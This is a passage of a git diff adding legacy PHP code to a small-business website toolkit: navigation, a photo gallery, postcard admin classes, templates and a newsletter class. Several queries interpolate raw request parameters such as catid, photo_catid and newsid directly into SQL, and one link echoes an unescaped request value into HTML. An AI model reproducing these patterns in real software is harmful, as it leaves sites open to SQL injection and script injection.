+        }
+
+        // main nav
+        $this->mainNav = $this->getMainNav();
+
+        // sideNav
+        if ($toolbox->catid != HOME_ID && $toolbox->has_subs($topParent, $toolbox->DB)) {
+            $this->sideNav = $toolbox->get_side_nav($topParent);
+        } else {
+            $this->sideNav = '';
+        }
+    
+        // Making News
+        $this->news    = $this->getNews();
+        $this->hasNews = !empty($this->news) ? true : false;
+        
+        // Testimonials
+        $this->testimonials    = $this->getTestimonials(104);
+        $this->hasTestimonials = !empty($this->testimonials) ? true : false;
+        
+        // check if define for HOME_EVENTS is set
+        if (defined("HOME_EVENTS") && HOME_EVENTS) {
+            $this->events($toolbox);
+        }
+
+        // check if define for HOME_HEADLINES is set
+        if (defined("HOME_HEADLINES") && HOME_HEADLINES) {
+            $this->headlines($toolbox);
+        }
+
+        // check if define for HOME_NEWS is set
+        if (defined("HOME_NEWS") && HOME_NEWS) {
+            $this->news($toolbox);
+        }
+
+        // check if define for WEATHER is set
+        if (defined("WEATHER") && WEATHER) {
+            $this->hasWeather = true;
+            $this->weather();
+        }
+
+        // check if define for GOOGLE_SEARCH is set
+        if (defined("GOOGLE_SEARCH") && GOOGLE_SEARCH) {
+            $this->googleSearch();
+        }
+
+        // check if define for BANNERS is set
+        if (defined("BANNERS") && BANNERS) {
+            $this->banners(&$toolbox);
+        }
+    }
+
+    //  }}}
+       //  {{{ banners()
+
+    /**
+     * Add Banner module
+     *
+     * @param unknown &$toolbox Toolbox object
+     *
+     * @return void
+     * @access public
+     */
+    public function banners(&$toolbox)
+    {
+        $banners =& Toolkit_Banners::factory('Display');
+        $banners->setBannerType('Bottom');
+        $banners->setAvailable();
+               $banners->setBannersToDisplay('fading');
+               $banners->addScriptsToPage($this->scripts);
+        $this->hasBanner = $banners->hasBannersAvailable();
+               $this->bannerAds = $banners->bannerDisplay;
+    }
+       
+       // }}}
+    //  {{{ createErrorDocument()
+
+    /**
+     * Create the error document page
+     *
+     * @return void
+     * @access public
+     */
+    function createErrorDocument()
+    {
+        $this->baseURL = BASE_URL;
+        $this->homeURL = $this->toolbox->get_seo_url(HOME_ID);;
+        // Initiate HTML_Template_Flexy.
+        $template = new HTML_Template_Flexy($GLOBALS['flexyOptions']);
+
+        // Create a template object for the 404 content part
+        $errorDocumentTemplate = new HTML_Template_Flexy($GLOBALS['flexyOptions']);
+        $errorDocumentTemplate->compile(ERROR_DOCUMENT_TEMPLATE);
+        $errorDocumentContents = $errorDocumentTemplate->bufferedOutputObject($this);
+
+        // set defaults
+        $this->toolboxContent = $errorDocumentContents;
+        $this->title          = '404 Not Found - '.PAGE_TITLE;
+        $this->hasHeadlines   = false;
+        $this->hasAreaEvents  = false;
+        $this->hasNews        = false;
+        $this->sideNav        = null;
+        $this->mainNav        = $this->toolbox->get_main_nav();
+        $this->hasWeather     = false;
+        $this->isHomePage     = false;
+        $this->sitemapURL     = false;
+
+        // compile the flexy template
+        $template->compile(INSIDE_TEMPLATE);
+
+        // Merge compiled template with the object.
+        $fileContents = $template->bufferedOutputObject($this);
+        file_put_contents(BASE.ERROR_DOCUMENT, $fileContents);
+    }
+
+    //  }}}
+    //  {{{ events()
+
+    /**
+     * Add Event module
+     *
+     * @param object $toolbox Toolbox object
+     *
+     * @return void
+     * @access public
+     */
+    public function events($toolbox)
+    {
+        // home events
+        $this->events = $toolbox->get_home_events();
+        // boolean for if events are flagged as home
+        $this->hasEvents = !empty($this->hasEvents);
+        if ($this->hasEvents) {
+            $this->styles[] = BASE_URL.'event.css';
+        }
+    }
+
+    //  }}}
+    //  {{{ generateSiteMap()
+
+    /**
+     * Generate the site map page
+     *
+     * @return string HTML sitemap string
+     * @access public
+     */
+    function generateSiteMap()
+    {
+        $WHERE = '';
+        if (defined(MEMBERS_CATEGORY) && defined(MEMBERS_DB)) {
+            $WHERE = "AND id != ".MEMBERS_CATEGORY;
+        }
+        $sql = "
+            SELECT *
+              FROM bus_category
+             WHERE active = 't'
+             $WHERE
+             ORDER BY parent, pos";
+
+        $data = $this->toolbox->DB->db_auto_get_data($sql);
+        if (is_array($data)) {
+            foreach ($data as $key => $val) {
+                $threads[] = array(
+                    "id"       => $val['id'],
+                    'category' => strip_tags($val['category']),
+                    'type'     => $val['type'],
+                    'parent'   => $val['parent'],
+                    'closed'   => false);
+            }
+        }
+        if (is_array($threads)) {
+            $myThread = new Toolkit_SiteMap($this->toolbox);
+            //sort threads by parent
+            $converted = $myThread->sortChilds($threads);
+            //print the threads
+            $out .= $myThread->convertToThread($converted, $converted[0]);
+        }
+        return '<div id="sitemap">
+            '.$out.'
+            </div>';
+    }
+
+    //  }}}
+    // {{{ getMainNav()
+
+    /**
+     * getMainNav 
+     * 
+     * @access public
+     * @return string
+     */
+    function getMainNav()
+    {
+       // die('<pre>'.print_r($this->toolbox->cache, true).'</pre>');
+        if ($bottomNav = $this->toolbox->cache->get('bottomNav', 'Toolbox')) {
+            //die('here');
+            return $bottomNav;
+        } else {
+            $sql = "
+            SELECT id,category
+              FROM bus_category
+             WHERE parent = 0 
+               AND active = 't'
+               AND id NOT IN (".HOME_ID.",51)
+          ORDER BY pos";
+            try {
+                $stmt = $this->dbh->prepare($sql);
+                $stmt->execute();
+                while($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
+                    $mainNav[$row['id']] = array(
+                        'name'    => $row['category'],
+                        'link'    => $this->getToolboxUrl($row['id']),
+                        'hasSubs' => $this->toolbox->has_subs($row['id'], $this->toolbox->DB),
+                        'subs'    => $this->getSubNav($row['id'])
+                    );
+                   /*
+                    */
+                }
+                $this->toolbox->cache->save($mainNav, 'bottomNav', 'Toolbox');
+                return $mainNav;
+            } catch(PDOException $e) {
+                Toolkit_Common::handleError($e);
+            }
+        }
+    }
+    // }}}
+    // {{{ getNews()
+    function getNews()
+    {
+        $sql = "
+        SELECT id,title,intro
+         FROM pressnews
+        WHERE status = 'current'
+     ORDER BY pr_date DESC";
+        try {
+            $stmt = $this->dbh->query($sql);
+            while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
+                $news[] = array(
+                    'id'    => $row['id'],
+                    'title' => strip_tags($row['title']),
+                    'descr' => $row['intro'],
+                    'link'  => BASE_URL . "press/{$row['id']}/"
+                );
+            }
+            return $news;
+        } catch(PDOException $e) {
+            Toolkit_Common::handleError($e);
+        }
+    }
+    // }}}
+    // {{{ getSubNav()
+
+    /**
+     * getSubNav 
+     * 
+     * @param mixed $parent 
+     * 
+     * @access public
+     * @return string
+     */
+    function getSubNav($parent)
+    {
+        $sql = "
+        SELECT id,category
+          FROM bus_category
+         WHERE parent = :parent
+           AND active = 't'
+      ORDER BY pos";
+        try {
+            $stmt = $this->dbh->prepare($sql);
+            $stmt->bindParam(":parent", $parent, PDO::PARAM_INT);
+            $stmt->execute();
+            while($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
+                $subs[] = array(
+                    'name' => $row['category'],
+                    'link' => $this->getToolboxUrl($row['id'])
+                );
+            }
+        } catch(PDOException $e) {
+            Toolkit_Common::handleError($e);
+        }
+        if ($parent == 56) {
+            $portfolio =& new portfolio($this->toolbox);
+            $portfolioCats = $portfolio->get_portfolio_categories();
+            if ($portfolioCats) {
+                foreach ($portfolioCats as $pCatid => $pName) {
+                    $name = ereg_replace("[?/$^%&*!@#'\"<>,]", "", $pName);
+                    $name = str_replace(" ","-",$name);
+                    $subs[] = array(
+                        'name'    => $pName,
+                        'link'    => BASE_URL.'portfolio-category/'.$name.'-'.$pCatid.'/',
+                        'hasSubs' => false,
+                        'subs'    => false,
+                    );
+                }
+            }
+        }
+        return $subs;
+    }
+    // }}}
+    // {{{ getTestimonials()
+    /**
+     * Creates array for use in autoscroller script.
+     * 
+     * Pulls data from the paragraphs of any catid passed in
+     * 
+     * @param unknown $pageId the id of the category to pull paragraphs from
+     * 
+     * @return void   
+     * @access public 
+     */
+    function getTestimonials($pageId)
+    {
+        $sql = "
+        SELECT b.id, b.name, b.description
+          FROM bus b LEFT OUTER JOIN bus_category_bus bcb ON (b.id = bcb.busid)
+         WHERE bcb.catid = :catid
+      ORDER BY bcb.pos";
+        try {
+            $stmt = $this->dbh->prepare($sql);
+            $stmt->bindParam(":catid", $pageId, PDO::PARAM_INT);
+            $stmt->execute();
+            while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
+                $testimonials[] = array(
+                    'name' => $row['name'],
+                    'link'  => BASE_URL 
+                        .  'index.php?catid='.$pageId.'#sect-'.$row["id"],
+                    'descr' => GLM_TOOLBOX::make_teaser($row['description'], 70 ,true)
+                );
+            }
+            return $testimonials;
+        } catch(PDOException $e) {
+            Toolkit_Common::handleError($e);
+        }
+    }
+    // }}}
+    // {{{ getToolboxName($id)
+
+    /**
+     * grab the navigation name for the id
+     * 
+     * @param integer $id id for bus_category table
+     *
+     * @return string page nav name
+     * @access public 
+     */
+    function getToolboxName($id)
+    {
+        return $this->toolbox->get_catheader($id, $this->toolbox->DB);
+    }
+
+    // }}}
+    // {{{ getToolboxUrl($id)
+
+    /**
+     * grab the navigation url for the id
+     * 
+     * @param integer $id id for bus_category table
+     *
+     * @return string url
+     * @access public 
+     */
+    function getToolboxUrl($id)
+    {
+        return $this->toolbox->get_seo_url($id);
+    }
+
+    // }}}
+
+    //  {{{ googleSearch()
+
+    /**
+     * Add Google Search module
+     *
+     * @return void
+     * @access public
+     */
+    public function googleSearch()
+    {
+        $this->gSearchOn = false;
+        if ($_REQUEST['query']) {
+            $this->gSearchOn = true;
+            $query           = urlencode($_REQUEST['query']);   
+            $this->scripts[] = 'http://www.google.com/uds/api?file=uds.js&v=1.0&key='.GSEARCH_API;
+            $this->scripts[] = BASE_URL.'gsearch.css';
+            $this->scripts[] = BASE_URL.'libjs/gsearch.php?query='.$query;
+        }
+    }
+
+    //  }}}
+    //  {{{ headlines()
+
+    /**
+     * grab the home page headlines
+     *
+     * @param object $toolbox Toolbox object
+     *
+     * @return void
+     * @access public
+     */
+    public function headlines($toolbox)
+    {
+        // get headlines aka 'Quick Links'
+        $this->headlines = $toolbox->get_headlines();
+        // boolean for if toolbox has headlines
+        $this->hasHeadlines = !empty($this->headlines);
+    }
+
+    //  }}}
+    //  {{{ isPhotoGalleryPage()
+
+    /**
+     * Check if this page has photo gallery in it
+     *
+     * @return boolean If this page has a photo gallery assigned to it
+     * @access public
+     */
+    function isPhotoGalleryPage()
+    {
+        $sql = "
+            SELECT photocat_id
+              FROM photo_category_bus
+             WHERE buscat_id = {$this->toolbox->catid}";
+        if ($pData = $this->toolbox->DB->select($sql)) {
+            return true;
+        }
+        return false;
+    }
+    //  }}}
+    //  {{{ news()
+
+    /**
+     * grab the home page newsletter/press info
+     *
+     * @param object $toolbox Toolbox object
+        *
+     * @return void
+     * @access public
+     */
+    public function news($toolbox)
+    {
+        if (HOME_ID == $toolbox->catid) {
+            $this->news    = $toolbox->get_news();
+            $this->hasNews = (!empty($this->news));
+        } else {
+            $this->hasNews = false;
+        }
+    }
+
+    //  }}}
+    //  {{{ weather()
+
+    /**
+     * Add Weather module
+     *
+     * @return void
+     * @access public
+     */
+    public function weather()
+    {
+        $weather           = new Toolkit_Weather();
+        $this->weather     = $weather->currentCond['weather'];
+        $this->tempF       = $weather->currentCond['temp_f'];
+        $this->iconUrlName = $weather->currentCond['icon_url_name'];
+        $this->location    = $weather->currentCond['location'];
+    }
+
+       //  }}}
+}
+?>
diff --git a/Toolkit/Photos/Display.php b/Toolkit/Photos/Display.php
new file mode 100755 (executable)
index 0000000..b28132c
--- /dev/null
@@ -0,0 +1,248 @@
+<?php
+
+/**
+ * Display.php
+ * 
+ * PHP version 5
+ * 
+ * @category  Photos
+ * @package   Toolkit_Photos
+ * @author    Steve Sutton <steve@gaslightmedia.com>
+ * @copyright 2009 Gaslight Media
+ * @license   Gaslight Media
+ * @version   CVS: $Id: Display.php,v 1.2 2009/12/15 20:18:16 jamie Exp $
+ * @link      <>
+ */
+
+/**
+ * Toolkit_Photos_Display
+ * 
+ * Display the Photo Gallery assoc to a toolbox page
+ * 
+ * @category  Photos
+ * @package   Toolkit_Photos
+ * @author    Steve Sutton <steve@gaslightmedia.com>
+ * @copyright 2009 Gaslight Media
+ * @license   Gaslight Media
+ * @link      <>
+ */
+class Toolkit_Photos_Display
+{
+    // {{{ Properties
+
+    /**
+     * Options for Flexy Templates
+     * @var    array    
+     * @access protected
+     */
+    protected $flexyOptions = array(
+        'templateDir'    => '/templates',
+        'compileDir'    => '/templates/compiled',
+        'forceCompile'    => false,
+        'allowPHP'        => true,
+    );
+
+    /**
+     * page name for form action and links
+     * @var    unknown  
+     * @access protected
+     */
+    protected $pageName;
+
+    /**
+     * Photo Table Name
+     * @var    string   
+     * @access protected
+     */
+    protected $photoTable = 'photo';
+
+    /**
+     * Photo Category Table Name
+     * @var    string   
+     * @access protected
+     */
+    protected $categoryTable = 'photo_category';
+
+    /**
+     * rowCount 
+     * 
+     * @var float
+     * @access protected
+     */
+    protected $rowCount = 3;
+    // }}}
+    // {{{ __construct()
+
+    /**
+     * __construct()
+     * 
+     * @return void  
+     * @access public
+     */
+    function __construct()
+    {
+        // assign the global dbh to $this->dbh;
+        $this->dbh = Toolkit_Database::getInstance();
+        // set paths for templates
+        $this->flexyOptions['templateDir'] = dirname(__FILE__)
+            .$this->flexyOptions['templateDir'];
+        $this->flexyOptions['compileDir']  = dirname(__FILE__)
+            .$this->flexyOptions['compileDir'];
+        // the main display page for events to link to
+        $this->pageName = BASE_URL.'index.php?catid='.$_REQUEST['catid'];
+    }
+
+    // }}}
+    // {{{ listPhotoCategories()
+
+    /**
+     * listPhotoCategories()
+     * 
+     * Display Photo Categories
+     * 
+     * @return mixed  Return description (if any) ...
+     * @access public
+     */
+    function listPhotoCategories()
+    {
+        $sql = "
+        SELECT   pc.* 
+        FROM     photo_category pc, photo_category_bus pcb 
+        WHERE    pcb.photocat_id = pc.id 
+        AND      pcb.buscat_id = {$_REQUEST['catid']}
+        ORDER BY pcb.pos;";
+        try {
+            $data = $this->dbh->query($sql)->fetchAll();
+            if (is_array($data)) {
+                $i = 0;
+                foreach ($data as &$row) {
+                    unset($row['image']);
+                    // use the first one from its photos
+                    $sql = "
+                    SELECT image
+                      FROM photo
+                     WHERE catid = {$row['id']}
+                       AND image != ''";
+                    try {
+                        $row2 = $this->dbh->query($sql)->fetch();
+                        $data[$i]['image'] = $row2['image'];
+                    } catch(PDOException $e) {
+                        Toolkit_Common::handleError($e);
+                    }
+                    ++$i;
+                }
+                $template      = new HTML_Template_Flexy($this->flexyOptions);
+                $page          = new stdClass;
+                $page->appbase = GLM_APP_BASE_URL;
+                $page->page    = BASE_URL.'index.php?catid='.$_REQUEST['catid'].'&photo_catid=';
+                $page->cats    = $data;
+                $page->imgPath = PHOTO_SMALL_URL;
+                $template->compile('photoCats.html');
+                return $template->bufferedOutputObject($page);
+            } else {
+                return '';
+            }
+        } catch(PDOException $e) {
+            Toolkit_Common::handleError($e);
+        }
+    }
+
+    // }}}
+    // {{{ listPhotos()
+
+    /**
+     * listPhotos()
+     * 
+     * Display Photos
+     * 
+     * @return mixed  Return description (if any) ...
+     * @access public
+     */
+    function listPhotos()
+    {
+        // where clauses
+        if ($_REQUEST['photo_catid']) {
+            // grab photo album name for display
+            try {
+                $sql = "
+                SELECT category
+                  FROM photo_category
+                 WHERE id = :id";
+                $stmt1 = $this->dbh->prepare($sql);
+                $stmt1->bindParam(":id", $_REQUEST['photo_catid'], PDO::PARAM_INT);
+                $stmt1->execute();
+                $albumName = $stmt1->fetchColumn();
+            } catch(PDOException $e) {
+                Toolkit_Common::handleError($e);
+            }
+            $where[] = "catid = {$_REQUEST['photo_catid']}";
+        }
+        // query
+        $sql = "
+        SELECT *
+        FROM   {$this->photoTable}";
+        if (is_array($where)) {
+            $sql .= " WHERE ".implode(" AND ", $where);
+        }
+        $sql .= " ORDER BY pos";
+        try {
+            $data = $this->dbh->query($sql)->fetchAll();
+            $count = 1;
+            $trueCount = 1;
+            $num = count($data);
+            foreach ($data as &$row) {
+                if ($count == 1) {
+                    $row['firstInRow'] = true;
+                } else {
+                    $row['firstInRow'] = false;
+                }
+                if ($count == $this->rowCount || $trueCount == $num) {
+                    $row['lastInRow'] = true;
+                    $count = 0;
+                } else {
+                    $row['lastInRow'] = false;
+                }
+                ++$count;
+                ++$trueCount;
+            }
+            if (is_array($data)) {
+                $template      = new HTML_Template_Flexy($this->flexyOptions);
+                $page          = new stdClass;
+                $page->album   = ($albumName) ? $albumName: 'Photo Gallery';
+                $page->appbase = GLM_APP_BASE_URL;
+                $page->photos  = $data;
+                $page->imgPath = PHOTO_SMALL_URL;
+                $page->orgPath = PHOTO_LARGE_URL;
+                $template->compile('photos.html');
+                return $template->bufferedOutputObject($page);
+            } else {
+                return '';
+            }
+        } catch(PDOException $e) {
+            Toolkit_Common::handleError($e);
+        }
+    }
+
+    // }}}
+    // {{{ toHTML()
+
+    /**
+     * toHTML()
+     * 
+     * call to listPhotos function for display of Photos
+     * 
+     * @return void  
+     * @access public
+     */
+    function toHTML()
+    {
+        if (is_array($_REQUEST['photo_catid'])) {
+            return $this->listPhotoCategories();
+        } elseif ($_REQUEST['photo_catid']) {
+            return $this->listPhotos();
+        }
+    }
+
+    // }}}
+}
+?>
diff --git a/Toolkit/Photos/templates/photoCats.html b/Toolkit/Photos/templates/photoCats.html
new file mode 100755 (executable)
index 0000000..e877442
--- /dev/null
@@ -0,0 +1,8 @@
+<script type="text/javascript" src="{appbase}gallery/thickbox.js"></script>
+<div id="photo-gallery">
+  <p>Click an image to enter a Photo Album</p>
+  <div class="thumb" flexy:foreach="cats,photo">
+    <div class="photocattitle">{photo[category]}</div>
+    <a href="{page}{photo[id]}"><img src="{imgPath}{photo[image]}" alt="{photo[image]}"></a>
+  </div>
+</div>
diff --git a/Toolkit/Photos/templates/photos.html b/Toolkit/Photos/templates/photos.html
new file mode 100755 (executable)
index 0000000..fdd861d
--- /dev/null
@@ -0,0 +1,15 @@
+<div id="photo-gallery">
+  <h2>{album}</h2>
+  {foreach:photos,photo}
+  {if:photo[firstInRow]}
+  <div class="galleryRow">
+  {end:}
+  <div class="thumb">
+      <a href="{orgPath}{photo[image]}" class="thickbox" rel="gallery-photos" title="{photo[title]} {photo[description]}"><img src="{imgPath}{photo[image]}" title="{photo[title]}" alt="{photo[image]}"></a>
+      <div class="phototitle">{photo[title]}</div>
+  </div><!-- /.thumb -->
+  {if:photo[lastInRow]}
+  </div><!-- /.galleryRow -->
+  {end:}
+  {end:}
+</div><!-- /.photo-gallery -->
diff --git a/Toolkit/Postcards.php b/Toolkit/Postcards.php
new file mode 100644 (file)
index 0000000..970e590
--- /dev/null
@@ -0,0 +1,263 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabe=4 foldmethod=marker syntax=php:
+
+/**
+ * File Doc Comment
+ *
+ * PHP version 5
+ *
+ * @category Postcards
+ * @package  Toolkit_Postcards
+ * @author   Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @license     http://www.gaslightmedia.com Gaslightmedia
+ * @version  CVS: $Id: Postcards.php,v 1.1.1.1 2009/09/17 20:08:55 matrix Exp $
+ * @link        http://demo.gaslightmedia.com
+ */
+
+/**
+ * Edit postcards stored in the DB
+ *
+ * This class acts like an interface to the admin side functionality. It controls
+ * which classes to call depending on what the user would like to do.
+ * (create/edit, list, etc..).  It also handles setting up the subnav structure
+ * and rendering.
+ *
+ * @category  Postcards
+ * @package   Toolkit_Postcards
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2008 Gaslight Media
+ * @license      http://www.gaslightmedia.com Gaslightmedia
+ * @link      http://devsys2.gaslightmedia.com/demo.gaslightmedia.com/admin/postcards.php
+ */
+class Toolkit_Postcards
+{
+       //      {{{ properties
+
+       /**
+        * Flexy options used in the renderer
+        *
+        * @var array
+        * @access protected
+        */
+       protected $options;
+
+       /**
+        * The directory that holds the templates
+        *
+        * Keep this setting in relation to this file.
+        *
+        * @var string
+        * @access protected 
+        */
+       protected $templatesDir = 'templates';
+
+       /**
+        * The directory that holds the compiled templates
+        *
+        * Keep this setting in relation to this file.
+        *
+        * @var string
+        * @access protected 
+        */
+       protected $compiledTemplatesDir = 'Postcards/templates/compiled';
+
+       /**
+        * The name of the template used to render the business info form.
+        *
+        * @var string
+        * @access protected 
+        */
+       protected $formTemplate = 'editMember.tpl';
+
+       /**
+        * The flexy template object which holds the rendered object
+        *
+        * @var object
+        * @access protected
+        */
+       protected $template;
+
+       /**
+        * Form access from inside the template
+        *
+        * @var object
+        * @access protected
+        */
+       protected $view;
+
+       //      }}}
+       //      {{{     __construct()
+
+       /**
+        * Object constructor
+        *
+        * @access      public
+        */
+       public function __construct()
+       {
+               echo $this->createSubNav();
+       }
+
+       //      }}}
+       //      {{{ createSubNav()
+
+       /**
+        * Create the subnav to navigate the postcards
+        *
+        * I'm going to create this subnav to look like the new membersdb
+        * that way we can get some synergy between our applications
+        *
+        * @author Jamie Kahgee <jamie.kahgee@gmail.com>
+     * @return string subnavigation html
+        * @access public
+        */
+       protected function createSubNav()
+       {
+               
+               $subnav = array(
+                       'List Cards'            => BASE_URL . 'admin/postcards.php?a=listCards',
+                       'Create New Card'       => BASE_URL . 'admin/postcards.php?a=add',
+               );
+               $this->navConfig = $subnav;
+
+               return $this->createNav();
+       }
+
+       //      }}}
+       //      {{{ makeLiLinks()
+
+       /**
+        * Create the li elements that go along w/ the subnav
+        *
+     * @param string $link URI to parse
+     * @param string $name link text
+        *
+        * @author Jamie Kahgee <jamie.kahgee@gmail.com>
+     * @return void
+        * @access protected
+        */
+       protected function makeLiLinks($link, $name)
+       {
+               $url = parse_url($link);
+               $action = end(explode('=', $url['query']));
+               $homePage = (!isset($_GET['a']) && $name == 'List Cards');
+               $currentPage = $_GET['a'] == $action;
+               if (isset($_GET['id'])) {
+                       $link .= "&amp;id={$_GET['id']}";
+               }
+               if ($currentPage || $homePage) {
+                       $attr = ' id="active"';
+                       $class= ' class="current"';
+               }
+               $this->nav .= '<li'.$attr.'><a'.$class.' href="'.$link.'">'.$name.'</a></li>';
+       }
+       
+       //      }}}
+       //      {{{ createNav()
+
+       /**
+        * Creates the subnav structure used for the multipage forms
+        *
+        * @author      Jamie Kahgee <jamie.kahgee@gmail.com>
+        *
+        * @return      string  UL list of navigation
+        *
+        * @access      protected
+        * @since       Method available since Release 1.0.0
+        */ 
+       protected function createNav()
+       {
+               if (array_walk($this->navConfig, array($this, 'makeLiLinks'))) {
+                       return '<ul>'.$this->nav.'</ul>';
+               }
+       }
+
+       //      }}}
+       //      {{{ setupRenderers()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @return void     
+     * @access protected
+     */
+       protected function setupRenderers()
+       {
+               $renderer =& new HTML_QuickForm_Renderer_Object(true);
+
+               $this->accept($renderer);
+
+               $this->template =& new HTML_Template_Flexy($this->options);
+
+               //      Make the view a copy of the $this object
+               //      That way we have access to call functions in
+               //      this class from within the template.
+               $this->view = $this;
+               $this->view->form = $renderer->toObject();
+               $this->template->compile($this->formTemplate);
+       }
+
+       //      }}}
+       //      {{{ toHTML()
+
+       /**
+        * Renders the form
+        *
+        * sets the page the form should be redirected to instead of coming back
+        * around to itself.
+        *
+        * @author      Jamie Kahgee <jamie.kahgee@gmail.com>
+        * @return      string  The rendered form
+        * @access      public
+        * @since       Method available since Release 1.0.0
+        */
+       public function toHTML()
+       {
+               //      We need to validate (and freeze if needed)
+               //      before we render the form. That way the
+               //      template knows about any errors on the form.
+               $this->validated = $this->validate();
+
+               if ($this->validated) {
+                       $processed = $this->process(array(&$this, 'processData'), $this->mergeFiles);
+               }
+
+               //      ProcessData handles settingup the lat/lon coordinates if they were not entered
+               //      into the form.  these values ar calculated and then inserted into the forms
+               //      element values.  So we need to process the data first and then render the form.
+               $this->setupRenderers();
+
+               return $this->template->bufferedOutputObject($this->view);
+       }
+
+       //      }}}
+       //      {{{ show()
+
+       /**
+        * Determine which form to show to the user
+        *
+        * @author Jamie Kahgee <jamie.kahgee@gmail.com>
+     * @return void
+        * @access public
+        */
+       public function show()
+       {
+               switch ($_GET['a']) {
+               case 'add' :
+                       $addPostCard =& new Toolkit_Postcards_addcard('edit_postcard',
+                               'post', null, null, null, true);
+                       $addPostCard->show();
+                       break;
+
+               case 'list' :
+               default :
+                       break;
+               }
+       }
+
+       //      }}}
+}
+?>
diff --git a/Toolkit/Postcards/AddCard.php b/Toolkit/Postcards/AddCard.php
new file mode 100755 (executable)
index 0000000..16f9f12
--- /dev/null
@@ -0,0 +1,41 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * Short description for file
+ * 
+ * Long description (if any) ...
+ * 
+ * PHP version 5
+ * 
+ * The license text...
+ * 
+ * @category  Postcards
+ * @package   Toolkit_Postcards
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @version   CVS: $Id: AddCard.php,v 1.1.1.1 2009/09/17 20:08:57 matrix Exp $
+ * @link      http://demo.gaslightmedia.com
+ * @see       References to other sections (if any)...
+ */
+
+/**
+ * Short description for class
+ * 
+ * Long description (if any) ...
+ * 
+ * @category  Postcards
+ * @package   Toolkit_Postcards
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @version   Release: @package_version@
+ * @link      http://demo.gaslightmedia.com
+ * @see       References to other sections (if any)...
+ */
+class Toolkit_Postcards_AddCard
+    extends Toolkit_FormBuilder implements Toolkit_Form
+{
+}
+?>
diff --git a/Toolkit/Postcards/templates/subnav.tpl b/Toolkit/Postcards/templates/subnav.tpl
new file mode 100755 (executable)
index 0000000..23ece43
--- /dev/null
@@ -0,0 +1,2 @@
+<div id="top"> </div>
+<div id="navcontainer">{createSubNav():h}</div>
diff --git a/Toolkit/Press/Newsletter.php b/Toolkit/Press/Newsletter.php
new file mode 100755 (executable)
index 0000000..9f19852
--- /dev/null
@@ -0,0 +1,356 @@
+<?php
+
+/**
+ * Newsletter.php 
+ * 
+ * PHP version 5
+ * 
+ * @category  Toolkit
+ * @package   Toolkit_Press
+ * @author    Steve Sutton <steve@gaslightmedia.com>
+ * @copyright 2008 Gaslight Media
+ * @license   Gaslight Media
+ * @version   CVS: $Id: Newsletter.php,v 1.3 2009/12/15 20:18:16 jamie Exp $
+ * @link      <>
+ */
+
+/**
+ * Description for require_once
+ */
+require_once BASE.'classes/class_db.inc';
+
+/**
+ * Description for require_once
+ */
+require_once BASE.'classes/class_template.inc';
+
+/**
+ * Toolkit_PressNewsletter 
+ * 
+ * Updated version of Press News display
+ * 
+ * @category  Toolkit
+ * @package   Toolkit_Press
+ * @author    Steve Sutton <steve@gaslightmedia.com>
+ * @copyright 2008 Gaslight Media
+ * @license   Gaslight Media
+ * @version   Release: @package_version@
+ * @link      <>
+ */
+class Toolkit_Press_Newsletter
+{
+    // {{{ Properties
+    
+    
+    /**
+     * newscatid for news item
+     * @var    string 
+     * @access private
+     */
+    private $_newscatid;
+
+    /**
+     * toolbox catid 
+     * @var    unknown
+     * @access private
+     */
+    private $_toolboxid;
+
+    /**
+     * database omject
+     * @var    object   
+     * @access protected
+     */
+    protected $DB;
+
+    /**
+     * Flexy Template Options
+     * @var    array    
+     * @access protected
+     */
+    protected $flexyOptions;
+
+    /**
+     * form elements to be merged with template
+     * @var    unknown
+     * @access public 
+     */
+    public $elements;
+
+    /**
+     * Flexy template object
+     * @var    object
+     * @access public
+     */
+    public $template;
+
+    /**
+     * Page object to be merged in with flexy template
+     * @var    object
+     * @access public
+     */
+    public $page;
+    // }}}
+    // {{{ __construct
+
+
+    /**
+     *  __construct
+     * 
+     * @param object  $toolbox GLM_TEMPLATE
+     * @param unknown $catid   news catid
+     * 
+     * @return void   
+     * @access public 
+     */
+    function __construct($toolbox, $catid)
+    {
+        $this->page              = new glmPage();
+        $this->flexyOptions      = array(
+                'templateDir'     => BASE.'Toolkit/Press/templates',
+                'compileDir'      => BASE.'Toolkit/Press/templates/compile',
+                'forceCompile'    => true,
+                'flexyIgnore'     => false,
+                'allowPHP'        => true,
+                'privates'        => true,
+                'globals'         => true,
+                'globalfunctions' => true,
+                'textdomain'      => BASE_URL,
+                'debug'           => false
+                );
+        $this->toolbox           = $toolbox;
+        $this->DB                = $toolbox->DB;
+        $this->dbh               = Toolkit_Database::getInstance();
+        $this->template          = new HTML_Template_Flexy($this->flexyOptions);
+        $this->page->base_url    = BASE_URL;
+        $this->page->RESIZED     = RESIZED;
+        $this->page->MIDSIZED    = MIDSIZED;
+        $this->page->THUMB       = THUMB;
+        $this->page->UP_BASE_URL = BASE_URL.'uploads/';
+        $this->setNewscatid($catid);
+        $this->setToolboxid();
+        if ($_REQUEST['newsid']) {
+            $this->getNews($_REQUEST['newsid']);
+        } else {
+            $this->getNewsPage($catid);
+        }
+        $this->getNewsSummary();
+        $this->template->compile('news.html');
+        if (isset($this->elements)) {
+            $this->template->outputObject($this->page, $this->elements);
+        } else {
+            $this->template->outputObject($this->page);
+        }
+    }   
+
+
+    // }}}
+    // {{{ getNews
+
+
+    /**
+     * getNews
+     * 
+     * Grab the news
+     * 
+     * @param unknown $id id for table news
+     * 
+     * @return void   
+     * @access public 
+     */
+    function getNews($id)
+    {
+        $query     = "
+        SET datestyle TO 'sql,us';
+        SELECT * 
+        FROM news 
+        WHERE id = $id";
+        $news_data = $this->DB->db_auto_get_data($query);
+        if (is_array($news_data)) {
+            $this->page->pr_date = $news_data[0]["pr_date"];
